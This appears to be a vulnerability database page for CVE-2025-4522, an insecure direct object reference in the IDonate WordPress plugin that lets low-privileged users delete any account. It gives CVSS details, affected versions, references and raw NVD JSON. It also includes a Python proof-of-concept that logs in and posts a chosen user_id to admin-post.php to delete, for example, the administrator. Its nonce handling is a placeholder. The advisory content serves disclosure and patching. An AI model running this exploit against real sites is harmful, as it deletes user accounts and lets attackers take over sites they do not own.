Security Vulnerability Report
中文
CVE-2025-4522 CVSS 6.5 MEDIUM

CVE-2025-4522

Published: 2025-11-07 05:16:04
Last Modified: 2025-12-04 21:26:26

Description

The IDonate – Blood Donation, Request And Donor Management System plugin for WordPress is vulnerable to Insecure Direct Object Reference via the admin_post_donor_delete() function in versions 2.0.0 to 2.1.9. By supplying an arbitrary user_id parameter value to the wp_delete_user() function, authenticated attackers, with Subscriber-level access and above could delete arbitrary user accounts, including those of administrators.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:themeatelier:idonate:*:*:*:*:*:wordpress:*:* - VULNERABLE
IDonate WordPress插件 >= 2.0.0
IDonate WordPress插件 < 2.1.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys from urllib.parse import urlencode # CVE-2025-4522 PoC - IDonate WordPress Plugin IDOR User Deletion # Target: WordPress site with IDonate plugin versions 2.0.0 - 2.1.9 def delete_user(target_url, username, password, target_user_id): """ Delete arbitrary WordPress user via IDOR vulnerability in IDonate plugin Args: target_url: Base URL of WordPress site username: Valid WordPress account with subscriber+ privileges password: Password for the account target_user_id: User ID to delete (e.g., 1 for admin) """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } print(f"[*] Logging in as {username}...") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Exploit IDOR to delete target user exploit_url = f"{target_url}/wp-admin/admin-post.php" exploit_data = { 'action': 'donor_delete', 'user_id': target_user_id, '_wpnonce': 'bypass' # May need to fetch valid nonce } print(f"[*] Attempting to delete user ID: {target_user_id}...") response = session.post(exploit_url, data=exploit_data, allow_redirects=False) if response.status_code in [302, 301, 200]: print(f"[+] User deletion request sent successfully!") print(f"[*] Target user (ID: {target_user_id}) should now be deleted.") return True else: print(f"[-] Exploit failed with status code: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve-2025-4522_poc.py <target_url> <username> <password> <target_user_id>") print("Example: python cve-2025-4522_poc.py http://example.com attacker password 1") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] target_uid = sys.argv[4] delete_user(target, user, pwd, target_uid)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-4522", "sourceIdentifier": "[email protected]", "published": "2025-11-07T05:16:04.443", "lastModified": "2025-12-04T21:26:25.997", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The IDonate – Blood Donation, Request And Donor Management System plugin for WordPress is vulnerable to Insecure Direct Object Reference via the admin_post_donor_delete() function in versions 2.0.0 to 2.1.9. By supplying an arbitrary user_id parameter value to the wp_delete_user() function, authenticated attackers, with Subscriber-level access and above could delete arbitrary user accounts, including those of administrators."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:themeatelier:idonate:*:*:*:*:*:wordpress:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.1.10", "matchCriteriaId": "AA4E83E4-1F63-4CF1-86F0-98D7D7D6E82D"}]}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/idonate/tags/2.1.9/src/Admin/Admin.php#L75", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://plugins.trac.wordpress.org/browser/idonate/tags/2.1.9/src/Helpers/DonorFunctions.php#L658", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://plugins.trac.wordpress.org/changeset/3334424/idonate/tags/2.1.10/src/Helpers/DonorFunctions.php?old=3279142&old_path=idonate%2Ftags%2F2.1.9%2Fsrc%2FHelpers%2FDonorFunctions.php", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://wordpress.org/plugins/idonate/#developers", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bb0625ec-5ac9-4896-ac11-87fc9287f68a?source=cve", "source": "[email protected]", "tags": ["Patch", "Third Party Advisory"]}]}}